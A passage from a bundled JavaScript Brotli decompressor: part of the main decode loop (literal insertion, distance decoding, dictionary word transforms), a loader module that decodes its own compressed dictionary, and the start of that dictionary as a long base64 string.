        block_length[1] = ReadBlockLength(block_len_trees, HUFFMAN_MAX_TABLE_SIZE, br);
        htree_command = hgroup[1].htrees[block_type[1]];
      }
      --block_length[1];
      cmd_code = ReadSymbol(hgroup[1].codes, htree_command, br);
      range_idx = cmd_code >> 6;
      if (range_idx >= 2) {
        range_idx -= 2;
        distance_code = -1;
      } else {
        distance_code = 0;
      }
      insert_code = Prefix.kInsertRangeLut[range_idx] + ((cmd_code >> 3) & 7);
      copy_code = Prefix.kCopyRangeLut[range_idx] + (cmd_code & 7);
      insert_length = Prefix.kInsertLengthPrefixCode[insert_code].offset +
          br.readBits(Prefix.kInsertLengthPrefixCode[insert_code].nbits);
      copy_length = Prefix.kCopyLengthPrefixCode[copy_code].offset +
          br.readBits(Prefix.kCopyLengthPrefixCode[copy_code].nbits);
      prev_byte1 = ringbuffer[pos-1 & ringbuffer_mask];
      prev_byte2 = ringbuffer[pos-2 & ringbuffer_mask];
      for (j = 0; j < insert_length; ++j) {
        br.readMoreInput();

        if (block_length[0] === 0) {
          DecodeBlockType(num_block_types[0],
                          block_type_trees, 0, block_type, block_type_rb,
                          block_type_rb_index, br);
          block_length[0] = ReadBlockLength(block_len_trees, 0, br);
          context_offset = block_type[0] << kLiteralContextBits;
          context_map_slice = context_offset;
          context_mode = context_modes[block_type[0]];
          context_lookup_offset1 = Context.lookupOffsets[context_mode];
          context_lookup_offset2 = Context.lookupOffsets[context_mode + 1];
        }
        context = (Context.lookup[context_lookup_offset1 + prev_byte1] |
                   Context.lookup[context_lookup_offset2 + prev_byte2]);
        literal_htree_index = context_map[context_map_slice + context];
        --block_length[0];
        prev_byte2 = prev_byte1;
        prev_byte1 = ReadSymbol(hgroup[0].codes, hgroup[0].htrees[literal_htree_index], br);
        ringbuffer[pos & ringbuffer_mask] = prev_byte1;
        if ((pos & ringbuffer_mask) === ringbuffer_mask) {
          output.write(ringbuffer, ringbuffer_size);
        }
        ++pos;
      }
      meta_block_remaining_len -= insert_length;
      if (meta_block_remaining_len <= 0) break;

      if (distance_code < 0) {
        var context;

        br.readMoreInput();
        if (block_length[2] === 0) {
          DecodeBlockType(num_block_types[2],
                          block_type_trees, 2, block_type, block_type_rb,
                          block_type_rb_index, br);
          block_length[2] = ReadBlockLength(block_len_trees, 2 * HUFFMAN_MAX_TABLE_SIZE, br);
          dist_context_offset = block_type[2] << kDistanceContextBits;
          dist_context_map_slice = dist_context_offset;
        }
        --block_length[2];
        context = (copy_length > 4 ? 3 : copy_length - 2) & 0xff;
        dist_htree_index = dist_context_map[dist_context_map_slice + context];
        distance_code = ReadSymbol(hgroup[2].codes, hgroup[2].htrees[dist_htree_index], br);
        if (distance_code >= num_direct_distance_codes) {
          var nbits;
          var postfix;
          var offset;
          distance_code -= num_direct_distance_codes;
          postfix = distance_code & distance_postfix_mask;
          distance_code >>= distance_postfix_bits;
          nbits = (distance_code >> 1) + 1;
          offset = ((2 + (distance_code & 1)) << nbits) - 4;
          distance_code = num_direct_distance_codes +
              ((offset + br.readBits(nbits)) <<
               distance_postfix_bits) + postfix;
        }
      }

      /* Convert the distance code to the actual distance by possibly looking */
      /* up past distnaces from the ringbuffer. */
      distance = TranslateShortCodes(distance_code, dist_rb, dist_rb_idx);
      if (distance < 0) {
        throw new Error('[BrotliDecompress] invalid distance');
      }

      if (pos < max_backward_distance &&
          max_distance !== max_backward_distance) {
        max_distance = pos;
      } else {
        max_distance = max_backward_distance;
      }

      copy_dst = pos & ringbuffer_mask;

      if (distance > max_distance) {
        if (copy_length >= BrotliDictionary.minDictionaryWordLength &&
            copy_length <= BrotliDictionary.maxDictionaryWordLength) {
          var offset = BrotliDictionary.offsetsByLength[copy_length];
          var word_id = distance - max_distance - 1;
          var shift = BrotliDictionary.sizeBitsByLength[copy_length];
          var mask = (1 << shift) - 1;
          var word_idx = word_id & mask;
          var transform_idx = word_id >> shift;
          offset += word_idx * copy_length;
          if (transform_idx < Transform.kNumTransforms) {
            var len = Transform.transformDictionaryWord(ringbuffer, copy_dst, offset, copy_length, transform_idx);
            copy_dst += len;
            pos += len;
            meta_block_remaining_len -= len;
            if (copy_dst >= ringbuffer_end) {
              output.write(ringbuffer, ringbuffer_size);

              for (var _x = 0; _x < (copy_dst - ringbuffer_end); _x++)
                ringbuffer[_x] = ringbuffer[ringbuffer_end + _x];
            }
          } else {
            throw new Error("Invalid backward reference. pos: " + pos + " distance: " + distance +
              " len: " + copy_length + " bytes left: " + meta_block_remaining_len);
          }
        } else {
          throw new Error("Invalid backward reference. pos: " + pos + " distance: " + distance +
            " len: " + copy_length + " bytes left: " + meta_block_remaining_len);
        }
      } else {
        if (distance_code > 0) {
          dist_rb[dist_rb_idx & 3] = distance;
          ++dist_rb_idx;
        }

        if (copy_length > meta_block_remaining_len) {
          throw new Error("Invalid backward reference. pos: " + pos + " distance: " + distance +
            " len: " + copy_length + " bytes left: " + meta_block_remaining_len);
        }

        for (j = 0; j < copy_length; ++j) {
          ringbuffer[pos & ringbuffer_mask] = ringbuffer[(pos - distance) & ringbuffer_mask];
          if ((pos & ringbuffer_mask) === ringbuffer_mask) {
            output.write(ringbuffer, ringbuffer_size);
          }
          ++pos;
          --meta_block_remaining_len;
        }
      }

      /* When we get here, we must have inserted at least one literal and */
      /* made a copy of at least length two, therefore accessing the last 2 */
      /* bytes is valid. */
      prev_byte1 = ringbuffer[(pos - 1) & ringbuffer_mask];
      prev_byte2 = ringbuffer[(pos - 2) & ringbuffer_mask];
    }

    /* Protect pos from overflow, wrap it around at every GB of input data */
    pos &= 0x3fffffff;
  }

  output.write(ringbuffer, pos & ringbuffer_mask);
}

exports.BrotliDecompress = BrotliDecompress;

BrotliDictionary.init();

},{"./bit_reader":1,"./context":2,"./dictionary":6,"./huffman":7,"./prefix":9,"./streams":10,"./transform":11}],4:[function(require,module,exports){
var base64 = require('base64-js');
//var fs = require('fs');

/**
 * The normal dictionary-data.js is quite large, which makes it
 * unsuitable for browser usage. In order to make it smaller,
 * we read dictionary.bin, which is a compressed version of
 * the dictionary, and on initial load, Brotli decompresses
 * it's own dictionary. 😜
 */
exports.init = function() {
  var BrotliDecompressBuffer = require('./decode').BrotliDecompressBuffer;
  var compressed = base64.toByteArray(require('./dictionary.bin.js'));
  return BrotliDecompressBuffer(compressed);
};

},{"./decode":3,"./dictionary.bin.js":5,"base64-js":8}],5:[function(require,module,exports){
module.exports="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